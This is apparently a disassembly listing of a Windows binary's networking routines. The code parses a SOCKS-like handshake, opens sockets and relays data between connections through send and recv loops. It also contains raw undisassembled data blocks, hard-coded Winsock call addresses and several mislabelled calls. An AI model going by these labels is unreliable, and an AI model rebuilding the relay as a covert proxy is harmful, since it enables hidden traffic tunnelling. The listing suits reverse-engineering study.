		movsx	eax, byte ptr [ebp+3]
		dec	eax
		mov	[esp+52Ch+var_508], 0
		mov	[esp+52Ch+var_50C], 7
		mov	[esp+52Ch+var_51C], 2
		jz	short loc_42B97F
		dec	eax
		jz	short loc_42B92A
		dec	eax
		jnz	loc_42BA72
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 51Ch
		retn	0Ch
; ---------------------------------------------------------------------------


loc_42B92A:				; CODE XREF: sub_42B8E0+32j
		movsx	eax, byte ptr [ebp+4]
		mov	ecx, eax
		lea	esi, [ebp+5]
		mov	ebx, ecx
		lea	edi, [esp+52Ch+var_400]
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		mov	byte ptr [esp+eax+52Ch+var_400], 0
		lea	eax, [esp+52Ch+var_518]
		lea	ecx, [esp+52Ch+var_400]
		push	eax
		push	ecx
		mov	ecx, edx
		call	sub_401758
		test	al, al
		jz	loc_42BA72
		movsx	esi, byte ptr [ebp+4]
		mov	dx, [esi+ebp+5]
		add	esi, 7
		mov	[esp+52Ch+var_51A], dx
		jmp	short loc_42B99B
; ---------------------------------------------------------------------------


loc_42B97F:				; CODE XREF: sub_42B8E0+2Fj
		mov	eax, [ebp+4]
		mov	esi, 0Ah
		mov	[esp+52Ch+var_400], eax
		mov	[esp+52Ch+var_518], eax
		mov	ax, [ebp+8]
		mov	[esp+52Ch+var_51A], ax


loc_42B99B:				; CODE XREF: sub_42B8E0+9Dj
		mov	ebx, dword_511C3C
		push	11h
		push	2
		push	2
		call	ebx	; socket
		push	11h
		push	2
		push	2
		mov	edi, eax
		call	ebx	; socket
		cmp	edi, 0FFFFFFFFh
		jz	loc_42BA72
		cmp	eax, 0FFFFFFFFh
		jnz	loc_42BA72
		mov	edx, [esp+52Ch+arg_8]
		lea	ecx, [esp+52Ch+var_51C]
		push	10h
		push	ecx
		sub	edx, esi
		push	0
		add	esi, ebp
		mov	ebp, dword_511C68
		push	edx
		push	esi
		push	edi
		call	ebp	; sendto
		mov	ebx, [esp+52Ch+arg_0]
		push	10h
		push	ebx
		push	edi
		call	near ptr 71AB3E00h
		nop
		test	eax, eax
		jnz	short loc_42BA72


loc_42B9F9:				; CODE XREF: sub_42B8E0+174j
		lea	eax, [esp+52Ch+var_50C]
		lea	ecx, [esp+52Ch+var_504]
		push	eax
		push	0
		push	0
		push	ecx
		push	1
		mov	[esp+540h+var_500], 0FFFFFFFFh
		mov	[esp+540h+var_504], 1
		call	near ptr 71AB2DC0h
		nop
		push	0
		push	0
		push	0
		lea	edx, [esp+538h+var_400]
		push	3FFh
		push	edx
		push	edi
		call	near ptr 71AB2D0Fh
		nop
		push	10h
		mov	esi, eax
		push	ebx
		push	0
		lea	eax, [esp+538h+var_400]
		push	esi
		push	eax
		push	0FFFFFFFFh
		call	ebp	; sendto
		test	esi, esi
		jbe	short loc_42BA56
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_42B9F9


loc_42BA56:				; CODE XREF: sub_42B8E0+16Fj
		mov	esi, dword_511C9C
		push	edi
		call	esi	; closesocket
		push	0FFFFFFFFh
		call	esi	; closesocket
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 51Ch
		retn	0Ch
; ---------------------------------------------------------------------------


loc_42BA72:				; CODE XREF: sub_42B8E0+35j
					; sub_42B8E0+86j ...
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 51Ch
		retn	0Ch
sub_42B8E0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42BB00	proc near		; CODE XREF: sub_42C5C0:loc_4013A2j

var_82C		= dword	ptr -82Ch
var_828		= dword	ptr -828h
var_824		= dword	ptr -824h
var_820		= dword	ptr -820h
var_81C		= byte ptr -81Ch
var_81A		= word ptr -81Ah
var_818		= dword	ptr -818h
var_80C		= dword	ptr -80Ch
var_808		= dword	ptr -808h
var_7E8		= dword	ptr -7E8h
var_7E4		= dword	ptr -7E4h
var_708		= byte ptr -708h
var_707		= byte ptr -707h
var_705		= dword	ptr -705h
var_604		= word ptr -604h
var_600		= dword	ptr -600h
var_5F0		= byte ptr -5F0h
var_200		= byte ptr -200h
var_100		= byte ptr -100h
arg_0		= dword	ptr  4

		sub	esp, 82Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+838h+arg_0]
		cmp	esi, 0FFFFFFFFh
		push	edi
		mov	ebp, ecx
		mov	[esp+83Ch+var_828], 0
		mov	[esp+83Ch+var_82C], 0Bh
		mov	[esp+83Ch+var_808], esi
		mov	[esp+83Ch+var_80C], 1
		jz	loc_42BDBA
		mov	eax, [ebp-8]
		mov	ecx, [eax+4]
		mov	ax, [ecx+ebp-2]
		cmp	ax, 1
		jnz	loc_42BED6
		mov	edi, dword_511C94
		lea	edx, [esp+83Ch+var_82C]
		push	edx
		push	0
		lea	eax, [esp+844h+var_80C]
		push	0
		push	eax
		push	1
		call	edi	; select
		test	eax, eax
		jle	loc_42BF63
		lea	ecx, [esp+83Ch+var_80C]
		push	ecx
		push	esi
		call	sub_438256
; ---------------------------------------------------------------------------
		dd 840FC085h, 3E3h, 16A066Ah, 0E890026Ah, 71688005h, 89FFF883h
		dd 0F1C2444h, 22184h, 0A41D8B00h, 6A00511Ch, 24948D00h
		dd 240h, 5652026Ah, 0BC80D3FFh,	23C24h,	850F0500h, 1FEh
		dd 2484BE0Fh, 23Dh, 948DC933h, 23C24h, 248C8900h, 23Ch
		dd 40248C89h, 66000002h, 44248C89h, 51000002h, 88565250h
		dd 256248Ch, 0D3FF0000h, 26A006Ah, 44730868h, 8BE85600h
		dd 90716886h, 1024448Dh, 30244C8Dh, 6A006A50h, 16A5100h
		dd 282444C7h, 0
; ---------------------------------------------------------------------------
		mov	[esp+82Ch+var_808], 7
		mov	[esp+82Ch+var_7E4], esi
		mov	[esp+82Ch+var_7E8], 1
		call	edi	; select
		xor	eax, eax
		lea	edx, [esp+82Ch+var_5F0]
		push	eax
		mov	ecx, 20h
		lea	edi, [esp+830h+var_5F0]
		push	2
		push	edx
		push	esi
		rep stosd
		call	ebx	; socket
		cmp	byte ptr [esp+83Ch+var_600], 1
		jnz	loc_42BDBA
		movsx	eax, byte ptr [esp+83Ch+var_600+1]
		push	0
		lea	ecx, [esp+840h+var_200]
		push	eax
		push	ecx
		push	esi
		call	ebx	; socket
		movsx	edx, byte ptr [esp+83Ch+var_600+1]
		push	0
		lea	eax, [esp+840h+var_600]
		push	1
		push	eax
		push	esi
		mov	[esp+edx+84Ch+var_200],	0
		call	ebx	; socket
		movsx	ecx, byte ptr [esp+83Ch+var_600]
		push	0
		lea	edx, [esp+840h+var_100]
		push	ecx
		push	edx
		push	esi
		call	ebx	; socket
		movsx	eax, byte ptr [esp+83Ch+var_600]
		mov	ecx, [ebp-8]
		mov	[esp+eax+83Ch+var_100],	0
		mov	ecx, [ecx+4]
		add	ecx, ebp
		call	sub_4017EE
		mov	edi, eax
		lea	ecx, [esp+83Ch+var_200]


loc_42BCCB:				; CODE XREF: sub_42BB00+1E9j
		mov	dl, [ecx]
		mov	al, dl
		cmp	dl, [edi]
		jnz	short loc_42BCEF
		test	al, al
		jz	short loc_42BCEB
		mov	dl, [ecx+1]
		mov	al, dl
		cmp	dl, [edi+1]
		jnz	short loc_42BCEF
		add	ecx, 2
		add	edi, 2
		test	al, al
		jnz	short loc_42BCCB


loc_42BCEB:				; CODE XREF: sub_42BB00+1D5j
		xor	eax, eax
		jmp	short loc_42BCF4
; ---------------------------------------------------------------------------


loc_42BCEF:				; CODE XREF: sub_42BB00+1D1j
					; sub_42BB00+1DFj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_42BCF4:				; CODE XREF: sub_42BB00+1EDj
		test	eax, eax
		jz	short loc_42BD51
		mov	eax, [ebp-8]
		mov	ecx, [eax+4]
		lea	ecx, [ecx+ebp+15h]
		call	sub_4017EE
		lea	edi, [esp+83Ch+var_100]


loc_42BD0E:				; CODE XREF: sub_42BB00+22Cj
		mov	dl, [edi]
		mov	cl, dl
		cmp	dl, [eax]
		jnz	short loc_42BD32
		test	cl, cl
		jz	short loc_42BD2E
		mov	dl, [edi+1]
		mov	cl, dl
		cmp	dl, [eax+1]
		jnz	short loc_42BD32
		add	edi, 2
		add	eax, 2
		test	cl, cl
		jnz	short loc_42BD0E


loc_42BD2E:				; CODE XREF: sub_42BB00+218j
		xor	eax, eax
		jmp	short loc_42BD37
; ---------------------------------------------------------------------------


loc_42BD32:				; CODE XREF: sub_42BB00+214j
					; sub_42BB00+222j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_42BD37:				; CODE XREF: sub_42BB00+230j
		test	eax, eax
		jz	short loc_42BD51
		push	esi
		call	near ptr 71AB9639h
		nop
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 82Ch
		retn	4
; ---------------------------------------------------------------------------


loc_42BD51:				; CODE XREF: sub_42BB00+1F6j
					; sub_42BB00+239j
		mov	edi, dword_511CA0
		push	0
		push	2
		push	offset dword_447304
		push	esi
		call	edi	; send
		lea	eax, [esp+83Ch+var_82C]
		lea	ecx, [esp+83Ch+var_80C]
		push	eax
		push	0
		push	0
		push	ecx
		push	1
		mov	[esp+850h+var_808], esi
		mov	[esp+850h+var_80C], 1
		nop
		call	near ptr 71AB2DC0h
		lea	edx, [esp+83Ch+var_80C]
		push	edx
		push	esi
		call	sub_438256
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_42BDBA
		push	0
		lea	eax, [esp+840h+var_708]
		push	4
		push	eax
		push	esi
		call	ebx	; socket
		mov	eax, [esp+83Ch+var_705]
		and	eax, 0FFh
		dec	eax
		jz	short loc_42BE21
		sub	eax, 2
		jz	short loc_42BDC9
		dec	eax


loc_42BDB8:				; CODE XREF: sub_42BB00+31Fj
		jnz	short loc_42BE30


loc_42BDBA:				; CODE XREF: sub_42BB00+32j
					; sub_42BB00+154j ...
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 82Ch
		retn	4
; ---------------------------------------------------------------------------


loc_42BDC9:				; CODE XREF: sub_42BB00+2B5j
		push	0
		lea	ecx, [esp+840h+var_600]
		push	1
		push	ecx
		push	esi
		call	ebx	; socket
		movsx	edx, byte ptr [esp+83Ch+var_600]
		push	0
		lea	eax, [esp+840h+var_705+1]
		push	edx
		push	eax
		push	esi
		call	ebx	; socket
		movsx	ecx, byte ptr [esp+83Ch+var_600]
		lea	edx, [esp+83Ch+var_600]
		lea	eax, [esp+83Ch+var_705+1]
		mov	byte ptr [esp+ecx+83Ch+var_705+1], 0
		mov	ecx, [ebp-8]
		push	edx
		push	eax
		mov	edx, [ecx+4]
		lea	ecx, [edx+ebp-8]
		call	sub_401758
		test	al, al
		jmp	short loc_42BDB8
; ---------------------------------------------------------------------------


loc_42BE21:				; CODE XREF: sub_42BB00+2B0j
		push	0
		lea	eax, [esp+840h+var_600]
		push	4
		push	eax
		push	esi
		call	ebx	; socket


loc_42BE30:				; CODE XREF: sub_42BB00:loc_42BDB8j
		push	0
		lea	ecx, [esp+840h+var_604]
		push	2
		push	ecx
		push	esi
		call	ebx	; socket
		cmp	[esp+83Ch+var_707], 1
		jnz	loc_42BDBA
		mov	ebx, [esp+83Ch+var_820]
		mov	dx, [esp+83Ch+var_604]
		mov	eax, [esp+83Ch+var_600]
		lea	ecx, [esp+83Ch+var_81C]
		push	10h
		push	ecx
		push	ebx
		mov	word ptr [esp+848h+var_81C], 2
		mov	[esp+848h+var_81A], dx
		mov	[esp+848h+var_818], eax
		nop
		call	near ptr 71AB406Ah
		test	eax, eax
		jnz	loc_42BDBA
		push	eax
		push	4
		push	offset dword_4472FC
		push	esi
		call	edi	; send
		push	0
		lea	edx, [esp+840h+var_600]
		push	4
		push	edx
		push	esi
		call	edi	; send
		push	0
		lea	eax, [esp+840h+var_604]
		push	2
		push	eax
		push	esi
		call	edi	; send
		mov	ecx, [ebp-8]
		push	ebx
		push	esi
		mov	edx, [ecx+4]
		lea	ecx, [edx+ebp-8]
		call	sub_4020E0
		push	ebx
		call	near ptr 71AB9639h
		nop
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 82Ch
		retn	4
; ---------------------------------------------------------------------------


loc_42BED6:				; CODE XREF: sub_42BB00+47j
		cmp	ax, 2
		jnz	loc_42BF63
		mov	ebx, dword_511C94


loc_42BEE6:				; CODE XREF: sub_42BB00+461j
		lea	eax, [esp+83Ch+var_82C]
		lea	ecx, [esp+83Ch+var_80C]
		push	eax
		push	0
		push	0
		push	ecx
		push	1
		mov	[esp+850h+var_808], esi
		mov	[esp+850h+var_80C], 1
		call	ebx	; select
		lea	edx, [esp+83Ch+var_824]
		lea	eax, [esp+83Ch+var_81C]
		push	edx
		push	eax
		push	0
		lea	ecx, [esp+848h+var_600]
		push	3FFh
		push	ecx
		push	esi
		mov	[esp+854h+var_824], 10h
		call	near ptr 71AB2D0Fh
		nop
		mov	ecx, [ebp-8]
		mov	edi, eax
		lea	edx, [esp+83Ch+var_600]
		push	edi
		push	edx
		mov	edx, [ecx+4]
		lea	eax, [esp+844h+var_81C]
		push	eax
		lea	ecx, [edx+ebp-8]
		call	sub_401C30
		test	edi, edi
		jz	short loc_42BF63
		cmp	edi, 0FFFFFFFFh
		jz	short loc_42BF63
		lea	eax, [esp+83Ch+var_80C]
		push	eax
		push	esi
		call	sub_438256
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_42BEE6


loc_42BF63:				; CODE XREF: sub_42BB00+67j
					; sub_42BB00+3DAj ...
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 82Ch
		retn	4
sub_42BB00	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 120h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C0A0	proc near		; CODE XREF: sub_401F37j

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch

		sub	esp, 10h
		push	esi
		mov	esi, ecx
		mov	eax, [esi+32h]
		test	eax, eax
		jz	short loc_42C0B4
		xor	al, al
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_42C0B4:				; CODE XREF: sub_42C0A0+Bj
		xor	eax, eax
		mov	ax, [esi+6]
		dec	eax
		jz	short loc_42C0C6
		dec	eax
		jz	short loc_42C0E8
		mov	word ptr [esi+6], 1


loc_42C0C6:				; CODE XREF: sub_42C0A0+1Bj
		mov	eax, 1
		mov	ecx, 6


loc_42C0D0:				; CODE XREF: sub_42C0A0+52j
		push	ecx
		push	eax
		push	2
		nop
		call	near ptr 71AB3B91h
		test	eax, eax
		mov	[esi+32h], eax
		jnz	short loc_42C0F4
		xor	al, al
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_42C0E8:				; CODE XREF: sub_42C0A0+1Ej
		mov	eax, 2
		mov	ecx, 11h
		jmp	short loc_42C0D0
; ---------------------------------------------------------------------------


loc_42C0F4:				; CODE XREF: sub_42C0A0+3Fj
		mov	ax, [esi+4]
		mov	[esp+14h+var_10], 2
		push	eax
		mov	[esp+18h+var_C], 0
		nop
		call	near ptr 71AB2B66h
		mov	edx, [esi+32h]
		lea	ecx, [esp+14h+var_10]
		push	10h
		push	ecx
		push	edx
		mov	[esp+20h+var_E], ax
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_42C139
		mov	eax, [esi+32h]
		push	eax
		call	near ptr 71AB9639h
		nop
		xor	al, al
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_42C139:				; CODE XREF: sub_42C0A0+86j
		cmp	word ptr [esi+6], 1
		jnz	short loc_42C161
		mov	ecx, [esi+32h]
		push	3
		push	ecx
		call	near ptr 71AB88D3h
		nop
		test	eax, eax
		jz	short loc_42C161
		mov	edx, [esi+32h]
		push	edx
		call	near ptr 71AB9639h
		nop
		xor	al, al
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_42C161:				; CODE XREF: sub_42C0A0+9Ej
					; sub_42C0A0+AEj
		mov	al, 1
		pop	esi
		add	esp, 10h
		retn
sub_42C0A0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42C1B0	proc near		; CODE XREF: sub_401DD4j

var_24		= byte ptr -24h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_42C1B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		mov	[ebp+var_10], esp
		mov	ax, [edi+6]
		cmp	ax, 1
		jnz	short loc_42C24A
		mov	eax, [edi+32h]
		mov	[ebp+var_14], 10h
		test	eax, eax
		jz	short loc_42C231
		mov	ebx, dword_511C98
		lea	ecx, [ebp+var_14]
		lea	edx, [ebp+var_24]
		push	ecx
		push	edx
		push	eax
		call	ebx	; accept
		mov	esi, eax
		test	esi, esi
		jnz	short loc_42C216


loc_42C202:				; CODE XREF: sub_42C1B0+64j
		mov	edx, [edi+32h]
		lea	eax, [ebp+var_14]
		lea	ecx, [ebp+var_24]
		push	eax
		push	ecx
		push	edx
		call	ebx	; accept
		mov	esi, eax
		test	esi, esi
		jz	short loc_42C202


loc_42C216:				; CODE XREF: sub_42C1B0+50j
		mov	eax, [edi]
		push	esi
		mov	ecx, edi
		mov	[ebp+var_4], 0
		call	dword ptr [eax]
		push	esi
		mov	bl, al
		nop
		call	near ptr 71AB9639h
		test	bl, bl
		jnz	short loc_42C26A


loc_42C231:				; CODE XREF: sub_42C1B0+39j
					; sub_42C1B0+9Ej ...
		xor	al, al
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42C244:				; DATA XREF: ___:00442FACo
		mov	eax, offset loc_42C231
		retn
; ---------------------------------------------------------------------------


loc_42C24A:				; CODE XREF: sub_42C1B0+2Bj
		cmp	ax, 2
		jnz	short loc_42C231
		mov	eax, [edi+32h]
		mov	edx, [edi]
		push	eax
		mov	ecx, edi
		call	dword ptr [edx]
		mov	ecx, [edi+32h]
		mov	bl, al
		push	ecx
		nop
		call	near ptr 71AB9639h
		test	bl, bl
		jz	short loc_42C231


loc_42C26A:				; CODE XREF: sub_42C1B0+7Fj
		mov	ecx, [ebp+var_C]
		pop	edi
		pop	esi
		mov	al, 1
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_42C1B0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42C2C0:				; CODE XREF: ___:00401F96j
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset loc_43CEB0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+8]
		push	edi
		mov	[ebp-10h], esp
		mov	dword ptr [ebp-4], 0
		mov	eax, [esi]
		mov	ecx, [eax+4]
		mov	eax, [ecx+esi+32h]
		add	ecx, esi
		push	eax
		mov	edx, [ecx]
		call	dword ptr [edx]
		mov	ecx, [esi]
		mov	edx, [ecx+4]
		mov	eax, [edx+esi+32h]
		push	eax
		nop
		call	near ptr 71AB9639h


loc_42C309:				; DATA XREF: ___:loc_42C321o
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		mov	eax, 1
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------


loc_42C321:				; DATA XREF: ___:0044300Co
		mov	eax, offset loc_42C309
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C350	proc near		; CODE XREF: sub_401C2Bj

var_19C		= byte ptr -19Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_4		= byte ptr  8
arg_1C		= byte ptr  20h

		push	0FFFFFFFFh
		push	offset SEH_42C350
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 194h
		lea	eax, [esp+1A0h+var_19C]
		mov	[esp+1A0h+var_4], 1
		push	eax
		push	2
		nop
		call	near ptr 71AB664Dh
		test	eax, eax
		jz	short loc_42C3C7


loc_42C387:				; CODE XREF: ___:0042C456j
		lea	ecx, [esp+1A0h+arg_4]
		mov	byte ptr [esp+1A0h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+1A0h+arg_1C]
		mov	[esp+1A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1A0h+var_C]
		mov	large fs:0, ecx
		add	esp, 1A0h
		retn
; ---------------------------------------------------------------------------


loc_42C3C7:				; CODE XREF: sub_42C350+35j
		push	42h
		call	sub_437AEA
sub_42C350	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+0], eax
		test	eax, eax
		mov	byte ptr [esp+19Ch], 2
		jz	short loc_42C3EC
		push	1
		mov	ecx, eax
		call	sub_4014F1
		jmp	short loc_42C3EE
; ---------------------------------------------------------------------------


loc_42C3EC:				; CODE XREF: ___:0042C3DFj
		xor	eax, eax


loc_42C3EE:				; CODE XREF: ___:0042C3EAj
		mov	dword_5103B4, eax
		mov	ecx, [eax]
		mov	byte ptr [esp+19Ch], 1
		mov	edx, [ecx+4]
		mov	cx, [esp+1A4h]
		mov	[edx+eax+4], cx
		mov	eax, dword_5103B4
		lea	edx, [esp+1A8h]
		mov	ecx, [eax]
		push	edx
		mov	edx, [ecx+4]
		lea	ecx, [edx+eax+8]
		call	sub_40202C
		lea	eax, [esp+1C0h]
		push	eax
		mov	eax, dword_5103B4
		mov	ecx, [eax]
		mov	edx, [ecx+4]
		lea	ecx, [edx+eax+1Dh]
		call	sub_40202C
		mov	eax, dword_5103B4
		mov	ecx, [eax]
		mov	ecx, [ecx+4]
		add	ecx, eax
		call	sub_401F37
		test	al, al
		jz	loc_42C387


loc_42C45C:				; CODE XREF: ___:0042C46Dj
		mov	eax, dword_5103B4
		mov	edx, [eax]
		mov	ecx, [edx+4]
		add	ecx, eax
		call	sub_401DD4
		jmp	short loc_42C45C
; ---------------------------------------------------------------------------
		db 90h
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C4C0	proc near		; CODE XREF: sub_4014F1j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		test	eax, eax
		mov	esi, ecx
		mov	[esp+8+var_4], 0
		jz	short loc_42C4E2
		lea	ecx, [esi+8]
		mov	dword ptr [esi], offset	dword_43F190
		call	sub_4014B5


loc_42C4E2:				; CODE XREF: sub_42C4C0+12j
		mov	eax, [esi]
		mov	ecx, [eax+4]
		mov	dword ptr [ecx+esi], offset off_43F18C
		mov	edx, [esi]
		mov	eax, [edx+4]
		lea	ecx, [eax-8]
		mov	[eax+esi-4], ecx
		mov	eax, esi
		pop	esi
		pop	ecx
		retn	4
sub_42C4C0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C530	proc near		; CODE XREF: sub_4014B5j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42C530
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+8]
		call	sub_40142E
		lea	ecx, [esi+1Dh]
		mov	[esp+14h+var_4], 0
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F19C
		mov	dword ptr [esi+32h], 0
		mov	word ptr [esi+6], 1
		mov	word ptr [esi+4], 0
		mov	dword ptr [esi+36h], 1000h
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_42C530	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C5C0	proc near		; CODE XREF: sub_4020EFj

; FUNCTION CHUNK AT 004013A2 SIZE 00000005 BYTES

		sub	ecx, [ecx-4]
		jmp	loc_4013A2
sub_42C5C0	endp

; ---------------------------------------------------------------------------
		align 10h


loc_42C5D0:				; CODE XREF: ___:00401352j
		push	0FFFFFFFFh
		push	offset loc_43CF28
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+4], esi
		call	sub_401FA0
		push	offset off_444D64
		lea	ecx, [esi+11h]
		mov	dword ptr [esp+14h], 0
		mov	dword ptr [esi], offset	off_43F1A0
		call	sub_4015E1
		mov	ecx, [esp+8]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C640	proc near		; CODE XREF: ___:00401398j sub_401F5Fj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4011BD
		test	[esp+4+arg_0], 1
		jz	short loc_42C658
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_42C658:				; CODE XREF: sub_42C640+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42C640	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42C670	proc near		; CODE XREF: sub_4011BDj
		jmp	sub_4017A8
sub_42C670	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42C690:				; CODE XREF: ___:loc_40134Dj
		mov	eax, 1000h
		call	sub_437B30
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+99h]
		mov	cl, [eax+11Ch]
		test	cl, cl
		jz	short loc_42C71C
		mov	ebx, dword_511CA4
		mov	ebp, dword_511CA0


loc_42C6BC:				; CODE XREF: ___:0042C71Aj
		mov	edx, [esi+9Dh]
		mov	ecx, 400h
		xor	eax, eax
		lea	edi, [esp+10h]
		rep stosd
		push	eax
		mov	eax, [edx+0A5h]
		lea	ecx, [esp+14h]
		push	1000h
		push	ecx
		push	eax
		call	ebx	; recv
		test	eax, eax
		jz	short loc_42C71C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42C71C
		mov	edx, [esi+9Dh]
		push	0
		push	eax
		lea	ecx, [esp+18h]
		mov	eax, [edx+0A1h]
		push	ecx
		push	eax
		call	ebp	; send
		test	eax, eax
		jz	short loc_42C71C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42C71C
		mov	ecx, [esi+99h]
		mov	al, [ecx+11Ch]
		test	al, al
		jnz	short loc_42C6BC


loc_42C71C:				; CODE XREF: ___:0042C6AEj
					; ___:0042C6E5j ...
		mov	edx, [esi+9Dh]
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, [edx+0A1h]
		pop	ebx
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42C738
		push	eax
		nop
		call	near ptr 71AB9639h


loc_42C738:				; CODE XREF: ___:0042C72Fj
		add	esp, 1000h
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C770	proc near		; CODE XREF: sub_40166Dj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42C770
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401FA0
		push	offset off_444D64
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43F1B0
		call	sub_4015E1
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_42C770	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C7E0	proc near		; CODE XREF: ___:004013A7j sub_401B36j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401217
		test	[esp+4+arg_0], 1
		jz	short loc_42C7F8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_42C7F8:				; CODE XREF: sub_42C7E0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42C7E0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42C810	proc near		; CODE XREF: sub_401217j
		jmp	sub_4017A8
sub_42C810	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C830	proc near		; CODE XREF: sub_401537j

var_50		= byte ptr -50h
var_40		= byte ptr -40h
